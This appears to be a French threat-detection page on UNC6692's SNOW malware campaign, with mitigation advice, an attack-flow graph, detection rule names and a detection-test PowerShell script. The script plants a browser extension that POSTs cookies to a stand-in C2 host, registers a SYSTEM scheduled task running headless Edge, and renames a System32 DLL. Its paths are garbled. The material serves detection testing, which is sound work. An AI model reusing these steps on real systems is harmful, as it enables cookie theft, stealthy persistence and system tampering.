UNC6692 Déploie des Malwares Personnalisés via l’Ingénierie Sociale
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
UNC6692 a mené une intrusion en plusieurs étapes débutant par un lien de phishing envoyé via Microsoft Teams, a déployé une charge utile AutoHotKey malveillante, et a implanté une boîte à outils de malware modulaire sur mesure connue sous le nom de SNOW, incluant SNOWBELT, SNOWGLAZE, et SNOWBASIN. L’opération a également utilisé une extension de navigateur Chromium malveillante, une utilité de tunneling écrite en Python, et une porte dérobée HTTP locale pour permettre des mouvements latéraux, le vol de références, et l’exfiltration de données via des services cloud. La campagne s’est distinguée par son abus efficace de l’infrastructure cloud légitime et des mécanismes de persistance basés sur le navigateur. Détecter cette activité nécessite une surveillance étroite des comportements inhabituels d’extensions de navigateur, des tâches planifiées lançant Edge en mode tête d’engin, et des accès suspects aux services de stockage cloud.
Enquête
Le groupe Google Threat Intelligence a découvert la campagne grâce à l’analyse des enregistrements de chat Teams, des scripts AutoHotKey capturés, des configurations de tâches planifiées, et du trafic réseau impliquant AWS S3 et un serveur WebSocket hébergé sur Heroku. L’analyse de malware a mis au jour la famille de logiciels malveillants SNOW, ses composants internes, ses schémas de communication, et l’utilisation par les attaquants de PsExec avec des outils de vidage d’identifiants. Les enquêteurs ont également confirmé le vol de la mémoire LSASS et des fichiers de la base de données Active Directory, exfiltrés par LimeWire.
Atténuation
Les défenseurs devraient appliquer des politiques de liste blanche strictes pour les extensions de navigateur, surveiller les lancements de Microsoft Edge avec des drapeaux en mode tête d’engin ou liés aux extensions, et bloquer l’accès aux compartiments AWS S3 non approuvés et aux domaines Heroku. L’application de l’authentification multi-facteurs pour les comptes privilégiés, la veille sur l’exécution de PsExec et l’accès à LSASS peuvent aider à limiter le vol de références et les mouvements latéraux. Les tâches planifiées et les raccourcis de démarrage devraient également être révisés régulièrement pour identifier une persistance non autorisée.
Réponse
Si un composant SNOW est détecté, isolez immédiatement le système affecté, terminez les processus Edge et AutoHotKey suspects, et rassemblez la mémoire pour l’analyse judiciaire liée à LSASS. Bloquez les domaines et adresses IP de commande et de contrôle connus, supprimez les extensions de navigateur malveillantes, et tournez les identifiants pour les comptes privilégiés. Une analyse complète à l’échelle du réseau doit ensuite être effectuée pour identifier les autres hôtes compromis, avec un examen des tâches planifiées et des éléments de démarrage pour la persistance.
"graph TB %% Définition de classes classDef technique fill:#99ccff classDef outil fill:#cccccc classDef malware fill:#ffcc99 classDef operateur fill:#ff9900 %% Nœuds de technique tech_phishing["<b>Technique</b> – <b>T1566.002 Phishing : Lien de spearphishing via Microsoft Teams</b><br/><b>Description</b> : L’adversaire délivre un lien malveillant via Microsoft Teams aux utilisateurs ciblés."] class tech_phishing technique tech_user_exec["<b>Technique</b> – <b>T1204.001 Exécution d’utilisateur : Cliquer sur un lien malveillant</b><br/><b>Description</b> : La victime clique sur le lien malveillant, déclenchant l’exécution."] class tech_user_exec technique tech_ahk["<b>Technique</b> – <b>T1059.010 Interprète de commande et de script : AutoHotkey/AutoIT</b><br/><b>Description</b> : Exécute un binaire et un script AutoHotkey pour lancer un code supplémentaire."] class tech_ahk technique tech_python["<b>Technique</b> – <b>T1059.006 Interprète de commande et de script : Python</b><br/><b>Description</b> : Exécute des chargeurs Python pour des modules additionnels."] class tech_python technique tech_ext["<b>Technique</b> – <b>T1176 Extensions logicielles : Installer l’extension Chromium</b><br/><b>Description</b> : Installe une extension de navigateur malveillante pour maintenir la persistance."] class tech_ext technique tech_schedtask["<b>Technique</b> – <b>T1053.005 Tâche planifiée : Lancer Edge sans interface</b><br/><b>Description</b> : Crée des tâches planifiées pour démarrer Edge avec l’extension malveillante."] class tech_schedtask technique tech_shortcut["<b>Technique</b> – <b>T1547.009 Modification de raccourci</b><br/><b>Description</b> : Place un raccourci dans le dossier de démarrage pour une exécution automatique."] class tech_shortcut technique tech_ingress["<b>Technique</b> – <b>T1105 Transfert d’outil d’entrée</b><br/><b>Description</b> : Télécharge des charges utiles supplémentaires comme SNOWGLAZE et SNOWBASIN."] class tech_ingress technique tech_obfuscate["<b>Technique</b> – <b>T1027 Fichiers ou informations obscurcis</b><br/><b>Description</b> : Encode des charges utiles avec Base64 et les chiffre avec AESu2011GCM."] class tech_obfuscate technique tech_archive["<b>Technique</b> – <b>T1560 Archivage des données collectées</b><br/><b>Description</b> : Chiffre et prépare les données avant l’exfiltration."] class tech_archive technique tech_encchannel["<b>Technique</b> – <b>T1573.001 Canal chiffré : Cryptographie symétrique</b><br/><b>Description</b> : Utilise AESu2011GCM pour les communications chiffrées."] class tech_encchannel technique tech_tunnel["<b>Technique</b> – <b>T1572 Tunneling de protocole</b><br/><b>Description</b> : Établit un tunnel WebSocket vers un serveur de commande et de contrôle Heroku."] class tech_tunnel technique tech_appproto["<b>Technique</b> – <b>T1071.001 Protocole de couche application : WebSocket</b><br/><b>Description</b> : Communique avec C2 via le protocole de couche application WebSocket."] class tech_appproto technique tech_proxy["<b>Technique</b> – <b>T1090 Proxy</b><br/><b>Description</b> : Utilise le tunnel comme proxy pour acheminer le trafic."] class tech_proxy technique tech_psexec["<b>Technique</b> – <b>T1021.002 Partages SMB/Windows Admin : PsExec</b><br/><b>Description</b> : Exécute des processus à distance via des partages d’administration SMB pour le mouvement latéral."] class tech_psexec technique tech_cred_dump["<b>Technique</b> – <b>T1003 Vidage des identifiants du système d’exploitation</b><br/><b>Description</b> : Extrait les identifiants de la mémoire LSASS."] class tech_cred_dump technique tech_pass_hash["<b>Technique</b> – <b>T1550.002 Passer le hash</b><br/><b>Description</b> : Utilise les hash NTLM capturés pour s’authentifier sur d’autres systèmes."] class tech_pass_hash technique tech_rdp["<b>Technique</b> – <b>T1021.001 Protocole de bureau à distance</b><br/><b>Description</b> : Se connecte via RDP au serveur de sauvegarde et au contrôleur de domaine."] class tech_rdp technique tech_exfil["<b>Technique</b> – <b>T1567.002 Exfiltration vers le stockage en cloud</b><br/><b>Description</b> : Télécharge les fichiers de la base de données AD collectés vers Amazon S3."] class tech_exfil technique %% Nœuds d’outil tool_ahk_binary["<b>Outil</b> – <b>Nom</b> : Binaire AutoHotkey<br/><b>Description</b> : Exécute des scripts AHK compilés."] class tool_ahk_binary outil tool_python_runtime["<b>Outil</b> – <b>Nom</b> : Interpréteur Python<br/><b>Description</b> : Exécute des chargeurs basés sur Python."] class tool_python_runtime outil tool_edge_headless["<b>Outil</b> – <b>Nom</b> : Microsoft Edge (sans interface)<br/><b>Description</b> : Navigateur utilisé pour exécuter l’extension malveillante."] class tool_edge_headless outil tool_snowglaze["<b>Outil</b> – <b>Nom</b> : Chargeur SNOWGLAZE<br/><b>Description</b> : Télécharge et lance des modules supplémentaires."] class tool_snowglaze outil tool_snowbasin["<b>Outil</b> – <b>Nom</b> : Chargeur SNOWBASIN<br/><b>Description</b> : Chargeur secondaire utilisé après SNOWGLAZE."] class tool_snowbasin outil tool_snowbelt_ext["<b>Outil</b> – <b>Nom</b> : Extension SNOWBELT Chromium<br/><b>Description</b> : Fournit la persistance et la collecte de données dans le navigateur."] class tool_snowbelt_ext outil tool_psexec["<b>Outil</b> – <b>Nom</b> : PsExec<br/><b>Description</b> : Exécute des processus sur des hôtes Windows distants via des partages admin."] class tool_psexec outil %% Nœuds de malware malware_snowglaze["<b>Malware</b> – <b>Nom</b> : SNOWGLAZE<br/><b>Description</b> : Chargeur qui crée un tunnel WebSocket et chiffre le trafic."] class malware_snowglaze malware malware_snowbasin["<b>Malware</b> – <b>Nom</b> : SNOWBASIN<br/><b>Description</b> : Charge utile secondaire qui aide à la mise en scène des données."] class malware_snowbasin malware malware_snowbelt["<b>Malware</b> – <b>Nom</b> : Extension SNOWBELT<br/><b>Description</b> : Extension Chromium utilisée pour la persistance et l’exfiltration."] class malware_snowbelt malware %% Connexions de flux d’attaque tech_phishing –>|mène_à| tech_user_exec tech_user_exec –>|déclenche| tech_ahk tech_ahk –>|utilise| tool_ahk_binary tech_ahk –>|exécute| tech_python tech_python –>|utilise| tool_python_runtime tech_python –>|télécharge| tool_snowglaze tech_python –>|télécharge| tool_snowbasin tool_snowglaze –>|installe| malware_snowglaze tool_snowbasin –>|installe| malware_snowbasin malware_snowglaze –>|crée| tech_ext tech_ext –>|installe| tool_snowbelt_ext tool_snowbelt_ext –>|installe| malware_snowbelt tech_ext –>|active| tech_schedtask tech_schedtask –>|lance| tool_edge_headless tech_ext –>|active| tech_shortcut tech_shortcut –>|ajoute| op_shortcut_startup(("Raccourci de démarrage")) class op_shortcut_startup operateur tech_user_exec –>|télécharge| tech_ingress tech_ingress –>|livre| tech_obfuscate tech_obfuscate –>|prépare| tech_archive tech_archive –>|protège| tech_encchannel tech_encchannel –>|protège| tech_tunnel tech_tunnel –>|utilise| tech_appproto tech_tunnel –>|agit_comme| tech_proxy tech_proxy –>|achemine| tech_psexec tech_psexec –>|utilise| tool_psexec tool_psexec –>|exécute| tech_cred_dump tech_cred_dump –>|fournit| tech_pass_hash tech_pass_hash –>|active| tech_rdp tech_rdp –>|se_connecte_à| tech_exfil "
Flux d’attaque
Détections
Exécution suspecte de Taskkill (via cmdline)
Voir
Tentative possible d’exécution de script AutoHotkey (via cmdline)
Voir
Binaire suspect / Scripts dans l’emplacement Autostart (via file_event)
Voir
Communication suspecte avec le domaine Herokuapp (via proxy)
Voir
Communication suspecte avec le domaine Herokuapp (via DNS)
Voir
IOCs (HashSha256) à détecter : Vents de neige : Comment UNC6692 a utilisé l’ingénierie sociale pour déployer une suite de malware personnalisée
Voir
Détection de l’exécution de scripts AutoHotKey et Python par UNC6692 [Création de processus sous Windows]
Voir
Anomalies des tâches planifiées de UNC6692 et des processus de Microsoft Edge [Journal des événements de sécurité Microsoft Windows]
Voir
Exécution de simulation
Prérequis : La vérification préalable de la télémétrie et de la base de référence doit avoir été réussie.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer précisément la télémétrie attendue par la logique de détection. Les exemples abstraits ou non liés entraîneront une erreur de diagnostic.
-
Narratif de l’attaque et commandes :
- Objectif : Établir une exécution persistante et furtive de la charge utile basée sur le navigateur Snowbelt sur l’hôte victime.
- Méthode : Enregistrer une tâche planifiée qui lance Microsoft Edge en mode sans interface avec l’extension Snowbelt malveillante (
C:TempSnowbelt). L’extension charge un JavaScript malveillant qui contacte le C2 et exfiltre des données. - Indicateur de nettoyage : Après que la charge utile est exécutée, l’attaquant supprime
CoreUIComponents.dlldu cache DLL système pour éviter la détection d’un processus Edge « sain » ; le processus edge continue de fonctionner mais le module est absent, satisfaisant la seconde condition de la règle.
-
Script de test de régression :
# Simulation UNC6692 – crée une tâche planifiée malveillante et exécute Edge sans CoreUIComponents.dll # ------------------------------------------------------------------------- # 1️⃣ Définir les variables $edgePath = "$Env:ProgramFiles(x86)MicrosoftEdgeApplicationmsedge.exe" $extPath = "C:TempSnowbelt" $taskName = "SnowbeltEdgeTask" $arguments = "--headless --load-extension=`"$extPath`"" $taskUser = "SYSTEM" # 2️⃣ S'assurer que le dossier d'extension existe (charge utile simulée) New-Item -ItemType Directory -Force -Path $extPath | Out-Null Set-Content -Path "$extPathmanifest.json" -Value '{"name":"Snowbelt","version":"1.0","manifest_version":2,"background":{"scripts":["snow.js"]}}' -Encoding UTF8 Set-Content -Path "$extPathsnow.js" -Value 'fetch("http://malicious.c2/collect", {method:"POST", body:document.cookie});' -Encoding UTF8 # 3️⃣ Enregistrer la tâche planifiée malveillante $action = New-ScheduledTaskAction -Execute $edgePath -Argument $arguments $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -User $taskUser -Force # 4️⃣ Démarrer la tâche immédiatement pour générer la télémétrie Start-ScheduledTask -TaskName $taskName # 5️⃣ Supprimer CoreUIComponents.dll du processus Edge en cours (simulé) # Remarque : Dans un environnement réel, cela impliquerait le détournement de DLL ou la modification de la mémoire du processus. # Ici nous supprimons simplement le fichier pour que la vérification du tasklist le manque. $dllPath = "$Env:SystemRootSystem32CoreUIComponents.dll" if (Test-Path $dllPath) { Rename-Item -Path $dllPath -NewName "CoreUIComponents.dll.bak" -Force } # 6️⃣ Vérifier que Edge fonctionne et que la DLL est absente $proc = Get-Process -Name "msedge" -ErrorAction SilentlyContinue if ($proc) { Write-Host "Processus Edge PID $($proc.Id) lancé avec extension malveillante." } -
Commandes de nettoyage :
# Retirer la tâche planifiée Unregister-ScheduledTask -TaskName "SnowbeltEdgeTask" -Confirm:$false # Restaurer CoreUIComponents.dll s'il a été renommé $dllPath = "$Env:SystemRootSystem32CoreUIComponents.dll" $backup = "$Env:SystemRootSystem32CoreUIComponents.dll.bak" if (Test-Path $backup) { Rename-Item -Path $backup -NewName "CoreUIComponents.dll" -Force } # Supprimer les fichiers d'extension simulée Remove-Item -Path "C:TempSnowbelt" -Recurse -Force